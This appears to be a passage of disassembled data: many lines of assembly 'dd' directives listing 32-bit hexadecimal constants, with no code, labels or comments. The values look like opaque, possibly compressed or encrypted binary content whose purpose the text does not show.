		dd 15657565h, 0A91850DCh, 9F4D5333h, 71797989h,	7CD590BCh
		dd 92953643h, 0D25AB33Bh, 5A95E9ABh, 0D3F34EEAh, 0B9439259h
		dd 777E4AB7h, 3BA1BC08h, 2BD246B3h, 9FE4AB93h, 0BD24A6E0h
		dd 0C92835E4h, 0CA8B7455h, 917BC41Fh, 0F7031C31h, 4F05B82Dh
		dd 0BE3AEBC7h, 45EC7074h, 0E2490AD1h, 7E47007Ah, 641F9E8Ch
		dd 3401F91Bh, 9AC62DE0h, 0B2A1309Ah, 2CD46B87h,	0E96B705Fh
		dd 0ABE34FA1h, 77079FF5h, 0C41188EAh, 4C8AA66Dh, 0F128B98Ah
		dd 2CFC461Eh, 1E70996Bh, 78E5FA32h, 0EF92F09Dh,	1AB858E3h
		dd 70C4AA1Ah, 27D0EFA9h, 78B21830h, 1C206318h, 9CB2FA48h
		dd 2EAF4438h, 0C5DCA28Bh, 0DDB06F59h, 9E34336Fh, 0F0AB56FCh
		dd 0DBE1EAE2h, 0F3AFC3Dh, 97C4277Fh, 0E21F3157h, 0E6EA9DE8h
		dd 0EF8225DDh, 5322BF53h, 0A5521C79h, 0E5E9A9E6h, 47A378h
		dd 72F96C77h, 0E5F2F414h, 8015BA6Ah, 17709931h,	5F14B595h
		dd 35580555h, 434AAAAFh, 7A38E52Bh, 1D09CDF6h, 0D83EBB72h
		dd 754FE04h, 0ABDAD554h, 3CC33E82h, 0DD5D7946h,	0D447206Eh
		dd 850AB93Ch, 544CA35Fh, 905E22F3h, 0F1B33525h,	2C8B1377h
		dd 74F8378Eh, 30B15BB4h, 0DC2F884Eh, 0BDC3763Ch, 0C0664593h
		dd 76ECD14Dh, 595025F9h, 0CE8DE39Ah, 0A5754F24h, 0CE12E07Ch
		dd 0AB8D318h, 0AC95132Ah, 336C96C2h, 0DD5FC1Bh,	8E7CD125h
		dd 0C8FB56F1h, 3DE3302h, 371304h, 0BB558889h, 7B859970h
		dd 9919A4ABh, 33BC2880h, 6DC29E0Bh, 0C748CEF0h,	0A08C8BC8h
		dd 5108199Ch, 5AD6848Ch, 0C84A54CCh, 0FA588851h, 6657C477h
		dd 6476BD2h, 1A1B3879h,	0ADF4D93Dh, 0CFF73E0Eh,	4A8EEFA4h
		dd 831200E1h, 1E11AFF5h, 0EB07B847h, 0F50897AEh, 0DFB3B462h
		dd 9A12D782h, 0A997112Fh, 0E8607B07h, 1F0A1EF8h, 68E3A52h
		dd 74A0EF9Eh, 0E31AFC57h, 847F1AA9h, 4DAB5F72h,	78C132E1h
		dd 0E22717B2h, 115295DEh, 0F922F646h, 0F937EEC2h, 4EB5C71Ah
		dd 664395DBh, 0E3E14E61h, 8278F1D4h, 20B5317Bh,	0F186E039h
		dd 4BEE5475h, 0B63B250Bh, 0E5943C4h, 89F9D24Ah,	26235D32h
		dd 0AC9F6E7Fh, 7482A391h, 91BB57ABh, 0E89417E8h, 0B89DE162h
		dd 0A8946092h, 0E52A490Ch, 34FA2F7Ah, 0DB4D9A92h, 95692328h
		dd 8B3DE341h, 73D3564Fh, 933D6541h, 54CCCDE8h, 0FC86BF57h
		dd 955356A1h, 0CD255401h, 3C6251C0h, 655A0D3Eh,	1841CCC1h
		dd 0A4319383h, 0A1709625h, 7FC9F61Fh, 4D00B01h,	0F4FBA7E7h
		dd 0D0FCCF8Bh, 15DC4982h, 47790D77h, 52149CA2h,	0FB7C612Eh
		dd 6AC366BAh, 23A700B2h, 0A610F14Eh, 4E91521Eh,	7BABC547h
		dd 0AC69C71Ch, 8E8F82A3h, 0F8CA782Bh, 0DC15E900h, 4BA957C4h
		dd 6F3455B5h, 0B48CF9D1h, 4E1900D5h, 739497D5h,	29A8FEEBh
		dd 28F14CBAh, 22AAD51Dh, 0B15089B5h, 29908388h,	1F9F6F40h
		dd 11367F27h, 2FA12F8Dh, 48E66B1Eh, 132A01BCh, 0D260861Ah
		dd 0AAF57DECh, 0F66AE598h, 9D445B19h, 41E28481h, 0F0462DB4h
		dd 0F468F1A8h, 3E21F1FBh, 0CDCA2F46h, 65F84D25h, 0FC0939A1h
		dd 0E17C6EE9h, 6017A6A1h
		dd 0D8D6A17Ch, 225CBCC7h, 67C5E159h, 7929131Fh,	0C66C9DE5h
		dd 18A8EB3Ch, 516BC031h, 8DBD8E8Ah, 0C2111CC0h,	7E2D22D7h
		dd 27EFDAF9h, 7046C3DFh, 0C4AE260Fh, 8A0E38E4h,	4F1130EAh
		dd 31E5304Ah, 4F2C10C5h, 0D650C553h, 0A9B9003h,	149EC8E7h
		dd 898532EAh, 11BD4570h, 315028DBh, 50C8C643h, 756F8997h
		dd 0FCDA5F40h, 53C810DAh, 3EC47AE1h, 0FB5F1C7Ah, 0F48254BDh
		dd 0B881607Ah, 8E63B8C7h, 0A9324770h, 614BC133h, 6B2A8849h
		dd 35418AC5h, 18854AB8h, 3DC1081Ah, 2D97A54Ah, 1D8F3F19h
		dd 0D4051B81h, 170203BCh, 1682153Fh, 41C9D69Fh,	4B9AEA8Ch
		dd 2926908Ch, 0C4E682F7h, 3B86060Dh, 34B1926h, 0E289ED03h
		dd 0BC074335h, 20E255A3h, 181C5DE3h, 7E54669Ch,	19463624h
		dd 0F0CA23B1h, 14CEC5B3h, 0C7024248h, 0A7BC34F8h, 0F214456h
		dd 6917C5Ch, 22884Dh, 0C92428Bh, 74C22B30h, 9190C3B5h
		dd 610D712h, 2DB83DF1h,	9805B1F6h, 0D5CDD22Dh, 1CD07B49h
		dd 10818F20h, 8041D264h, 0E0A4F430h, 65347289h,	0CDBED7D1h
		dd 0FBAA2686h, 0C97422F4h, 0F6841EA1h, 9E9EEA0h, 7A30EA2h
		dd 8F17DC75h, 26CFBD64h, 950F43A1h, 6F30A6F4h, 0ED57E97Dh
		dd 0EE54E2ABh, 4CA9BE22h, 97A4750Eh, 6CCAC8B9h,	0C8FF48F3h
		dd 0C19FB119h, 4AD2E857h, 264409Ah, 0B80652D2h,	99713749h
		dd 1C949B80h, 93A26612h, 77B809C6h, 0FD273E47h,	3D406E98h
		dd 0EB23C244h, 0F4947E01h, 0A93FAD61h, 290E0194h, 798BC257h
		dd 9CA939A0h, 9FE4E0FCh, 0F27F64Eh, 0F48C308h, 0D409954h
		dd 53E476A1h, 34B6C9FDh, 30EDD007h, 0A00EB1B5h,	74B89EDDh
		dd 58EE2016h, 0DC99D99h, 2D0CCB40h, 84AEC54Bh, 0FD233391h
		dd 0BC8619E2h, 3E13AF09h, 996A5C0h, 0FEB030E3h,	0D6F3335Eh
		dd 0E483A7F8h, 0F84F0A3h, 91C92814h, 8EF180B3h,	9ABCA59Ch
		dd 5E8B5D60h, 9FD59D6Bh, 6E83835Ah, 4B47F9F9h, 47FBA5B6h
		dd 0D919B6B3h, 6A7BD03h, 1704E4C3h, 7A9D9FF2h, 0DF185CEAh
		dd 3E2984ABh, 7F3FC343h, 30D5D4E2h, 75743DE9h, 0C344122Ah
		dd 0E1BD20D0h, 0ADFB8B2Fh, 0B6D47805h, 0EBF48DA5h, 0AA1C30Fh
		dd 4C21DF30h, 10797865h, 2387B732h, 8F839A88h, 0BB234E80h
		dd 3928EB30h, 0B391D01Ch, 0C4A44C4h, 0C4FFE195h, 1CA29FF7h
		dd 0CA007986h, 0A01B282Ah, 84E941B4h, 679428F2h, 4A02FCA0h
		dd 0A077942Fh, 432879Ch, 38DF08C5h, 63DCA033h, 0C770E6D3h
		dd 0D750ADEAh, 0D633DAC5h, 0D4294C33h, 5A5A1AEBh, 0DBAC36D6h
		dd 0B6C6FD8Ch, 8036D6B6h, 68D66EB5h, 84CFB174h,	0FE0A5BBAh
		dd 0F26F5BCEh, 0BED36057h, 0B9CCCE4Fh, 30015B09h, 0EB185048h
		dd 47B02Dh, 9FFD6E56h, 0BA67E3DDh, 0B5D696B2h, 2DA52D0Dh
		dd 8BF3E9F8h, 0E9BBCF58h, 1EF08D5Bh, 0B773D622h, 45EF4235h
		dd 0BE36CB7Dh, 5DD6DD6Dh, 0C6579220h, 994A5BDBh, 0CBE20C4Bh
		dd 6B6DAD37h, 0ECC5DB68h, 0F23595D0h, 85EBAD15h, 0C34F4696h
		dd 8D2DF596h, 2B89ED40h, 1F586D6Fh, 0F7FE80A3h,	0ADB2A691h
		dd 0FAE95D75h, 0DB8D6DF5h, 0F3CC31B6h, 3C0D7CDAh, 55C73760h
		dd 0A6FC2D08h, 0C6F8BB85h, 9BD5AD95h, 6A2E37D6h, 5E63686Ah
		dd 8D2D14A3h, 47B320B0h, 0D95E0E3Fh, 0D996837Ah, 3796B384h
		dd 9A5DE36Ch, 7DE9B68Ah, 6178DA9Bh, 0AECC6B7Ch,	0CCAC3EF1h
		dd 0F83AE37h, 0AD735FCCh, 0E72AEA58h, 0B7D7736Ch, 0FBCC30B4h
		dd 6DB63B71h, 85B4DB6Dh, 54CA50DFh, 0C62B5D79h,	516626E1h
		dd 62C977B9h, 83EB5B77h, 1BF01E5Eh, 0D69D5C99h,	0D5595040h
		dd 0A636C592h, 9C71A5B5h, 0FF1BF63Ch, 0A6DD7F66h, 0AC4244D9h
		dd 0DFFD0CBCh, 69B21941h, 0C1CFB6DFh, 50798F77h, 36508BFh
		dd 9DBF6FB4h, 7683DE61h, 11CE0722h, 64CA058Ah, 0B9417728h
		dd 9CFDCA1Bh, 0F0717566h, 1303078Fh, 0EF1918CFh, 0E37C6DAEh
		dd 6D717483h, 5CC08BA7h, 5BAD4599h, 30C55177h, 0C9661520h
		dd 772F3E16h, 0CBC656D9h, 0FE35B6B7h, 6C00FBDFh, 3045FFC6h
		dd 0CD35BC4Ch, 679ADD3Ah, 623EB12Dh, 0BCFAC27Dh, 61EB55F5h
		dd 0A0EB09EBh, 0B0EB33F5h, 9DC73E35h, 32B39E53h, 85E726A7h
		dd 0BCE4DF9Ch, 8E5EF39Dh, 0C7397392h, 0CDB24B60h, 856D59B4h
		dd 0D2AD8F36h, 675B6B56h, 6C136ADBh, 67BED98Fh,	6E3B683Bh
		dd 74F6D77Bh, 0E1B96BEEh, 0C53D9D5Ch, 679ECF3Eh, 695F685Fh
		dd 6CDF635Fh, 0F65DEDE7h, 0F6C3D99Fh, 0FB61F60Bh, 0BCF6FB75h
		dd 0E68DE53Fh, 0E4F7F9B1h, 943FE4E7h, 7B20BE7Fh, 0EDFCCB7Eh
		dd 0DFF9A5F3h, 0E22ECC72h, 0D2289E8Ah, 0BC5F982Dh, 0C557F8BFh
		dd 0C583C5BDh, 744E2C7Fh, 38273AA6h, 9D939DD3h,	39A73A77h
		dd 73EF3867h, 38E671CEh, 0E742CEEDh, 0D3A96702h, 0ACE25CE5h
		dd 56772E70h, 0B59C6B39h, 0EFE706CEh, 0B53A9F9Dh, 6BE03B3Fh
		dd 97F59F4Dh, 0EB019FB0h, 6B65EB39h, 939B0E5Ch,	0CE40F391h
		dd 0B6CC738Fh, 0B6D96DDBh, 0DB3CB679h, 0AD995B42h, 0DB6756DAh
		dd 0F36EDB68h, 7ED8F6DBh, 76DD7B60h, 336836D8h,	32B97371h
		dd 0E7AB82AEh, 0B8FB7236h, 72EFB9C7h, 0B8CFDC3Dh, 0E45EE57Fh
		dd 0EE51DCC2h, 0EE43EE7Dh, 6E47F72Ch, 7C626208h, 0D4EE726Eh
		dd 0DEB925DCh, 89F7295Ch, 0F6E5EFDCh, 1B9ABEE4h, 0F720FDCAh
		dd 734FDCE3h, 76EDD9A7h, 7D857DB7h, 6FDFEC03h, 0A1FF63DFh
		dd 87FB59FDh, 0C576F3F6h, 0B51EC97Eh, 0F212F2EBh, 0F3D3792Ch
		dd 0F3B9E666h, 0F37AF2EAh, 0E40DE74Eh, 0F257CB9Fh, 0E68FCF3Fh
		dd 571F917Fh, 52905090h, 0A4C15B70h, 0F50EFF82h, 46D3BFFh
		dd 56958000h, 56DB6B5Fh, 204E7F14h, 504CE1DFh, 0A6AA7190h
		dd 0B36B067Fh, 0DD24846Ch, 0E6374A1Eh, 1E690742h, 563AFB64h
		dd 95D94B26h, 7B1BD4E4h, 63060C18h, 1F63230h, 37A2D554h
		dd 257F2C72h, 8D926E4Bh, 837E998Ch, 64AF739Dh, 0EC19A43Bh
		dd 0DEFB3FC1h, 0F39FFE7Bh, 0C0ADD7BBh, 0EB96F869h, 0C9BE6700h
		dd 7C0AF5F7h, 0D4BCB2BFh, 0CAE03935h, 5E780D83h, 0D0EB706Bh
		dd 7EF93637h, 0EF8E61D0h, 0A39E3ADh, 2291DC07h,	0ECE613C6h
		dd 4F86DFBh, 0B953E0D6h, 0E055AFA3h, 0A1A6811h,	0BCB2B0FEh
		dd 0EE77CB2h, 8B416E7Ch, 0B2381DBBh, 1EF19F1Ch,	9E78157Ch
		dd 4AA3C265h, 7C996565h, 5D173CB5h, 3608EC39h, 0FB2E9A31h
		dd 1FA8BFAh, 0A6BAF86Bh, 0BECE5B9Ch, 59B2D8F1h,	0ACF9E7ADh
		dd 0CAB4CEA3h, 0F7FC617Ah, 25FC9938h, 0F309204Eh, 2EBE9070h
		dd 9376BA2Ch, 0A68A3471h, 0FF98CF8Dh, 0CD75AE58h, 0AE62F178h
		dd 8E3C5BF9h, 0A43ED2CFh, 0B6B96C39h, 462554CDh, 9530BF69h
		dd 26C09046h, 0CAEF66E7h, 5E0F2A6h, 2BC4E575h, 9D412743h
		dd 6762B38Ch, 7192C1C7h, 0AEB977D3h, 505A8D44h,	24789157h
		dd 0E83972D7h, 3301F0EBh, 69C77F4Ch, 0A3302EA2h, 53D976E3h
		dd 0A9D7D2F6h, 2F734B38h, 0B5E061C6h, 58586675h, 732B3C02h
		dd 4C3263F8h, 0FA14C5CEh, 0E9642983h, 34E31738h, 33CC044Ah
		dd 0FD0A518h, 0DF0F18F3h, 98A1C3F4h, 0E7B2DBA2h, 2E7B8B4Dh
		dd 157375F7h, 2878D8EAh, 0C69BAADAh, 2DB3E9B6h,	709B10CEh
		dd 6B8BEA1Bh, 0EB6CB20Ch, 8937F4B1h, 62774B4Fh,	60217965h
		dd 51F0BB69h, 8C7E5429h, 214EEFC7h, 64E2C78Bh, 0C3027978h
		dd 431E34F4h, 71178624h, 0B0E3C796h, 96E32D28h,	54F35369h
		dd 0CE39B6D5h, 0BB935184h, 1D4E834Fh, 0E6B77CB7h, 7D0B9C73h
		dd 64E38856h, 0A32FF610h, 0B289A310h, 0DBC5CE18h, 48E165F1h
		dd 0BC2AE124h, 2CD39E92h
		dd 0A134F30Fh, 41E3F796h, 6180F58Ch, 69A33F88h,	2334B7FEh
		dd 0C98360B0h, 0C1519905h, 4F492C89h, 8E6592B1h, 0BD0B4421h
		dd 4DB70157h, 0AEE18DAFh, 3DA53D95h, 0D7E06E4Bh, 863E45C7h
		dd 5B82992Dh, 56B52AD5h, 0CA37552Ah, 0E4DB46D3h, 6D936E5Bh
		dd 0C155BAFAh, 48F83FA2h, 0DD4A5666h, 0AE50FBBDh, 0F81BB4C9h
		dd 3FB45658h, 0CA57638Fh, 7B8782DDh, 0BF507AB3h, 0E1B78B31h
		dd 0C72C00C9h, 0A723F032h, 0DF538464h, 3CC42F0Fh, 0BCB3C721h
		dd 163259DBh, 3CA27CA3h, 90B6CA0h, 6A816F37h, 4B9C33FEh
		dd 15AEA222h, 0F055B506h, 9A8C079h, 9CF18A85h, 0B13E84E3h
		dd 0F5DA141Ch, 0B4F6A514h, 8B30041Bh, 45AA0D0Dh, 0FE56B342h
		dd 8899661Ah, 20F5E12Eh, 679786CCh, 2D2C93D8h, 4C701B7Eh
		dd 74238D63h, 0CE30F221h, 167969B3h, 0B7C5AB4Eh, 1EEBA14Ah
		dd 350AFB31h, 0D5C31335h, 0AE050118h, 410104B9h, 5A48064Fh
		dd 5CF1D70Dh, 0ABFC74C7h, 6A92759Ah, 5A093410h,	6D04FB04h
		dd 6F820382h, 0E826C08h, 48704381h, 27012DF0h, 827C08F0h
		dd 0C111C12Eh, 0E6EF824Bh, 0E92FD277h, 0A2191040h, 0E0453214h
		dd 4DF42708h, 515D484h,	6DB67A3Bh, 0F7466DD6h, 5E2C3DCEh
		dd 0B3FBF9D1h, 0ECC70F1h, 606F0E75h, 0E8714A28h, 41F5F092h
		dd 96FA9BC3h, 9C39542Ah, 53FE1545h, 0B9A35661h,	58C0C952h
		dd 0EA660248h, 0E171982Eh, 80E17140h, 8F4650B8h, 7C81E44Bh
		dd 38C0646Eh, 0BBC333E3h, 9EEB8032h, 195D30F6h,	9576EEEh
		dd 934EC62Ch, 0DFF724BFh, 0A83AA4Bh, 2D124B2Ah,	22166E35h
		dd 7F782919h, 29FAF9E1h, 8346157Dh, 902CDD29h, 0F13D908Eh
		dd 690DDE0h, 629BA333h,	0E08E567Ah, 48141FE4h, 8E7C61D2h
		dd 0FD02DED3h, 1507FDBAh, 0BC3F287Ch, 495FF957h, 39FDF597h
		dd 0DD4C891Ch, 2A74E270h, 91974D89h, 933F8A18h,	45F97BC9h
		dd 94C1243Eh, 5F23F9B3h, 0DA68CD05h, 0E4EC7CF6h, 336B52B5h
		dd 0F3785EDBh, 0B7CBE915h, 5295DCB8h, 94F51352h, 7015B18Eh
		dd 0B60E7F8Eh, 2EA28E2Dh, 801BF0BEh, 36B3EE8Fh,	7DA4D2FBh
		dd 0D81A5B25h, 0FD5DB469h, 2CC2C506h, 0FBCADABDh, 7A6DC3C2h
		dd 496CD7A6h, 0E002FFCFh, 17F39EE7h, 86EAFE51h,	71E618C2h
		dd 8CE1E89Bh, 0BB4A1A5Dh, 2003A5F2h, 0DBEA13FAh, 18CA6BBEh
		dd 63F2D62Ah, 0E77AB0F1h, 0D9F76C85h, 7DC6F9EBh, 157C3BBEh
		dd 161D3635h, 0C0A75182h, 33F49B54h, 1019865Eh,	0C8925B8Fh
		dd 0EB5176F2h, 0C896130Bh, 75423A59h, 22AFCA11h, 687443EBh
		dd 0BB2EB785h, 9F1D979Ah, 0FD8BAAE0h, 64352249h, 8A9A2DE0h
		dd 0E095F53Eh, 932FAF45h, 7BAD2E98h, 8D4FD33Fh,	601C1D02h
		dd 857BCEF4h, 0A784CD14h, 0A5A4E639h, 6AF03239h, 0FF4AC3A8h
		dd 76D0DE4Dh, 8E0BCC11h, 0A0C734E8h, 0B1E734B4h, 0FA138D65h
		dd 76D323A4h, 2AAE6C33h, 0CC155933h, 2DEB26AAh,	0B6449E14h
		dd 93C5B268h, 0F4D9086Dh, 0DB250B64h, 0A8F89F84h, 35B624ABh
		dd 266DD85Ch, 9BA83331h, 73BDBFAAh, 0BFB81006h,	48C28E9Bh
		dd 54693C24h, 96DF10A7h, 0B50F34C7h, 0F5529B8Fh, 5C1ADE73h
		dd 0EFAC177Ah, 83F87553h, 3F5581F6h, 0AD01AC27h, 5C1F594Bh
		dd 10103E05h, 438888C5h, 0EFE699C7h, 0C735614Dh, 34D0A79Dh
		dd 50A6C29Bh, 0DFD25C2Ch, 928C2EB1h, 0F5EAFE23h, 0E24238C1h
		dd 0DF86B91Dh, 850ACD82h, 0F70EED96h, 444C9D23h, 0B93EB2ADh
		dd 12B3B6C6h, 43DEC1FDh, 0AA0E03ECh, 0A044413Eh, 0E4BD3DB2h
		dd 1F537FECh, 0F6F88FC2h, 0A9DB8A78h, 8EB4359h,	0CD1108EDh
		dd 6FBB6546h, 6259CABFh, 88E6ABAEh, 197AC754h, 0BDD0DC0Fh
		dd 761CF90Ah, 553A5D07h, 9D612ADDh, 0F34E2B7Ch,	7657F38Fh
		dd 7942653Ch, 1C984178h, 76AD3048h, 84C09207h, 0CA298BCDh
		dd 6E3559FAh, 0B704EA12h, 7B2C63A3h, 0CE0C76DBh, 28A86BA2h
		dd 4D421F17h, 27159286h, 0B9C14C2Fh, 2E7CD8E9h,	0A19C03BFh
		dd 2BFDA113h, 81BDA7BCh, 6D8A408Dh, 84235B7Eh, 76D08D8Bh
		dd 0BF3AD184h, 3D709896h, 8317896Fh, 8965EC90h,	49EE0E94h
		dd 0D5CC4C40h, 0E63AE621h, 2F937048h, 0C2642E3Fh, 0F8956173h
		dd 0CF6C4A2Ah, 18E19EC1h, 7DB01BCCh, 0E5F645F9h, 9DD2E720h
		dd 0E231BC55h, 87097E6Dh, 9291EF5Dh, 787DCB1Bh,	4EF10427h
		dd 13807F70h, 0A4412824h, 158E71C6h, 0E789BC73h, 8F89C128h
		dd 0DE0EFEFBh, 32790377h, 62E64F09h, 849A068Eh,	9A9B34C6h
		dd 0FD0E6A23h, 0C1E10AA7h, 0D299BE1h, 227E9CBBh, 51616EB0h
		dd 0E30FBCF4h, 355C9AE5h, 74A88B0h, 0D0B44585h,	50B0659Ah
		dd 9A61A0D1h, 57EF1CC7h, 4952C35Ah, 0DE3158FBh,	9C755614h
		dd 0ABFC192Fh, 0A794437Eh, 2C1A3EAh, 689457B9h,	0DFE50C77h
		dd 542C1890h, 1EDF675Bh, 25945110h, 86E8EEDFh, 0A8CC1E8Ah
		dd 0CC3F0ECh, 0A66F954Fh, 0E923EE2Eh, 0F4AC7865h, 0E1F0DA2Bh
		dd 1B867762h, 181AB0FAh, 87DC1B51h, 0C6705D92h,	0E7527A7Bh
		dd 0E1F49D5Fh, 40C8EA9Eh, 0F0EE3E18h, 0A6FEB688h, 556F551h
		dd 94888AAFh, 0CF403F9Fh, 6A5F04D6h, 0E3437D99h, 0E17C4952h
		dd 0F6102EF5h, 57B464Ah, 8E78D0h, 8B72A421h, 0B111DA75h
		dd 807E7F08h, 3940A36h,	0EB810C4Bh, 0F762545Dh,	0C0EC9E83h
		dd 1533761Ch, 0EB178840h, 0CA173902h, 0A84EB896h, 3ECDEC4Eh
		dd 0EE8D1F29h, 0ED413022h, 0F6685F22h, 2259B519h, 0FD959B7Eh
		dd 19BC51E2h, 1428F173h, 0D7E9ECD9h, 0FB3714ADh, 9B3F16BEh
		dd 0ECC7A015h, 0D7B2FCC3h, 0ADE927DFh, 994EEC6Ah, 2C1B2AFAh
		dd 0E16AA248h, 0D349DF0h, 76DF22ECh, 0F321E868h, 34CE1D6Ch
		dd 4A484171h, 3FDB4867h, 474CCE0Eh, 0DD46F5Ch, 0A2ED6FA4h
		dd 0C18C7126h, 163796BBh, 0B0E97592h, 4DCC5CC2h, 24CBBCEEh
		dd 76314F80h, 130346B2h, 91BA89F7h, 0A6475DF4h,	74C77AFEh
		dd 400CB7F0h, 0EDEE7EA2h, 14FBD957h, 31889037h,	1766770Bh
		dd 0D67A3252h, 8A320AE5h, 2879CCBAh, 72CB8B71h,	4C5C26F2h
		dd 7F706F09h, 0D7A4464Eh, 6ECF1877h, 766F65CAh,	0C24BE474h
		dd 0F7F5392Fh, 848B53B1h, 26619CCBh, 6CCFE6A2h,	5A04D791h
		dd 0F83C5A7Ah, 279D947Dh, 0EA4C3274h, 77E2DA1Ch, 564B8C1Ch
		dd 9035C47Ch, 0A431C42h, 0E509435Ch, 0B42EA0Ah,	44D06CEAh
		dd 6821951h, 4E8F028Ah,	7D06C176h, 17C91424h, 0FE93604Eh
		dd 0B1D9A743h, 0E34B75C3h, 70690BB3h, 0ED91F0CCh, 74F1A5h
		dd 7DD41859h, 34BE1FEEh, 0A631C36Ch, 964F04A4h,	0AF98650Ch
		dd 0C4FDF2E2h, 1A34B70Bh, 8FA991BAh, 0E322621Fh, 4754CD9Ah
		dd 0DACF182Ch, 0E9909448h, 0E253025Eh, 0B51E53C9h, 45DE144Bh
		dd 1166D2EDh, 666E765Fh, 9C414EECh, 0B98A034Dh,	0F8173E6Ah
		dd 0D91BF083h, 0CF3B3F5h, 0CE0D6378h, 0A4D2AF28h, 0BE6CECA8h
		dd 9FF5C05Eh, 7A378653h, 7680F8A0h, 0C95236C3h,	2FEFCFC4h
		dd 0D96DADD7h, 22C9C9D8h, 1D1869D3h, 7E4D2E07h,	7BC7FF8Ch
		dd 0EAA067C4h, 0DA71A79Ch, 35F96E06h, 0A1FC43BEh, 43FC439Eh
		dd 0D8C550F7h, 0BAB23E11h, 839E1CE8h, 0D624FC23h, 0E3C67490h
		dd 13BE2258h, 8596239Ch, 3CA3EECEh, 0BC0EF767h,	34C91C13h
		dd 8036F0C3h, 0FAF621F2h, 0FDB6760Ch, 43557056h, 79AE25EDh
		dd 0A04FA6D1h, 6D2472F4h, 0A36B5C4Bh, 0DE066DC0h, 7123B653h
		dd 7C4AFF6Fh, 5F7191E8h, 228EAE81h, 0CFA9B11h, 6F7A0CE9h
		dd 32FDC721h, 578849BDh, 1F24A826h, 29CAD1D7h, 0E1799FD2h
		dd 0BDEDE714h, 0D87C1F48h
		dd 0AA6C1F49h, 0B7BB37B7h, 0BDE5D83Dh, 7B9EF662h, 5FA1D626h
		dd 166F4ADCh, 0A92EBA85h, 0EBFC7F1Ah, 4F820FA5h, 6830F0B8h
		dd 6F4F4FF8h, 0A29DC14Ah, 0CAE76A71h, 6F59E03Eh, 96F4BA0Bh
		dd 7A1CF0EBh, 0FE97DACBh, 5D9FAC37h, 1CE16C9Dh,	0FF3859EEh
		dd 0C9D29F50h, 0DFD0CE57h, 3A2C2365h, 363500FAh, 0ECD2A8A9h
		dd 12524427h, 4580F522h, 0D163BBFBh, 0ED160F7Eh, 73901367h
		dd 2E52A078h, 37F6DB4Ah, 63AE52AFh, 0ADE84CCEh,	8343C742h
		dd 57235794h, 0D1720074h, 0E9233343h, 7243439Dh, 17235794h
		dd 7483CE50h, 0D99FACD9h, 82B60B0Dh, 43605D38h,	0EFED1A7Bh
		dd 41E844C0h, 5E3529B2h, 32675CADh, 68BA6FC1h, 0A2C70FB5h
		dd 776383Dh, 0CFDB5522h, 2E7EA208h, 0D216BCD7h,	79C670BEh
		dd 0FB8E665Dh, 0A5F8B783h, 0C51C19CDh, 0ED6EA1FDh, 24BA6CA9h
		dd 8B5D33Ah, 0E15E1744h, 93EAB81Ah, 3F12086Eh, 0F7B56AFEh
		dd 5F81ADE3h, 6ABAF124h, 2F976B7Bh, 52873AB6h, 0E4FB9B6Ah
		dd 0E9FDE25Dh, 14294731h, 12340583h, 0A60AE3DEh, 0BABD5CADh
		dd 4186C15Fh, 8D31A824h, 0A9780998h, 8A82E942h,	99AE1DA1h
		dd 43AC360Ah, 60AA2388h, 2871583h, 0AF46B983h, 0EBCBF748h
		dd 9042D3F9h, 0FD8938B1h, 748169EDh, 2FBAB56Fh,	9E8DB396h
		dd 0DC8A79C1h, 955FDC67h, 1A99EE7Bh, 216F5FDDh,	1FE081ADh
		dd 0EE5E3133h, 0A0F06272h, 84FDB107h, 1D77C0A8h, 54320871h
		dd 9EF1ADD5h, 89C3AC67h, 8AA70055h, 0B0E56FD8h,	16DD02B5h
		dd 0C84F4DE3h, 8165E057h, 0C47B2F8Dh, 9071DA11h, 448C491Fh
		dd 4513FB38h, 8A2BC0B8h, 1CE1C8D3h, 0D13AE8C3h,	32F25EE6h
		dd 0F7AE3F1Bh, 22EC6FDBh, 8B990176h, 905CC87Ah,	363E16F4h
		dd 54D483ABh, 90B68EE3h, 0FBC7FA30h, 36556403h,	155967FEh
		dd 79FBA67Bh, 8B811749h, 0C0AF7E11h, 0AB11E8DCh, 0CC35E121h
		dd 0F21D2F38h, 78BC558Ah, 6AE61448h, 628AF4EDh,	0B64AF00Ch
		dd 0D2618FB5h, 864F418h, 0F1EE31A4h, 9311AB25h,	7BA02091h
		dd 0D4D4FDCDh, 699D6D8h, 73B39152h, 0EB9662Ah, 0B0F815FBh
		dd 0FD51E28h, 4336AE45h, 64569AC3h, 0A907A31Eh,	0AAA39D23h
		dd 348704DBh, 69A11CDh,	0A17A5DECh, 0E973343Dh,	3383DABFh
		dd 1CEC5E97h, 0A5434CDAh, 5F745D5Fh, 0BC1CE355h, 57C7D509h
		dd 1E43E080h, 0E87A1071h, 0B9DBFFDCh, 0C99B7EBDh, 29C04B80h
		dd 2874EFA5h, 376BFC3Dh, 37C71AAAh, 0A36F3E7Bh,	0F3E8DBCFh
		dd 0ABE7DF36h, 0B6D2FBC3h, 9EFB986Dh, 7FF57C97h, 5EF3FFC9h
		dd 0D518AB2Ch, 4620C51Dh, 0EC1B3ECFh, 13B88E12h, 7824597Dh
		dd 0A14D20B3h, 97F3D495h, 0E93F39EBh, 1341949Bh, 89F00C97h
		dd 33AD6005h, 99D43Fh, 9FFBA926h, 0C0929510h, 0F2F8CB1Dh
		dd 3DD406E9h, 0D070949Ch, 458316B3h, 95F724EDh,	3ECA0790h
		dd 0A8060481h, 3BB2C76Bh, 0FDEE9221h, 29D8381Ah, 31502422h
		dd 0A607945Ch, 0D6F62D97h, 0DAE7F53h, 0B6CA97C5h, 21BE028Bh
		dd 692C543Dh, 0E647B843h, 0B51DDC17h, 7D6D0354h, 0A5A3C327h
		dd 6DB7DC03h, 352102E7h, 0F70A50C4h, 0DCBDDB87h, 54CF6B1Eh
		dd 0D447C677h, 9679D2C7h, 0D2DD099Ah, 46233409h, 85756CEh
		dd 42E1F3h, 0E9AA23E7h,	298BB259h, 80A42978h, 8A2A4037h
		dd 25E51F75h, 7E43653Eh, 308D7C13h, 11B153E4h, 508D8A86h
		dd 0EBB19CB7h, 0D684CE43h, 34086850h, 5A66FB9Ch, 0CF0FCE05h
		dd 0ECA695E4h, 7932A31Dh, 0C58FAA5Dh, 36939B4h,	5E0CF6BDh
		dd 8AC7C410h, 16FC671Fh, 7D95A083h, 0A3DB2F3Ch,	5F66634Bh
		dd 0F4DD19FAh, 6121F59h, 9C3E0B3Ch, 0A9BCE74Eh,	0EC90636Dh
		dd 0DB3B9510h, 0AF0AD2FDh, 0FAA4D3CEh, 0EF0A9670h, 12B1738Ch
		dd 0F7E0E0D7h, 0C54AF4Ch, 8126927h, 9409096h, 0A4409709h
		dd 3E29D884h, 1F75FC3Bh, 0F642331Ch, 80D657E6h,	0C0EF10CEh
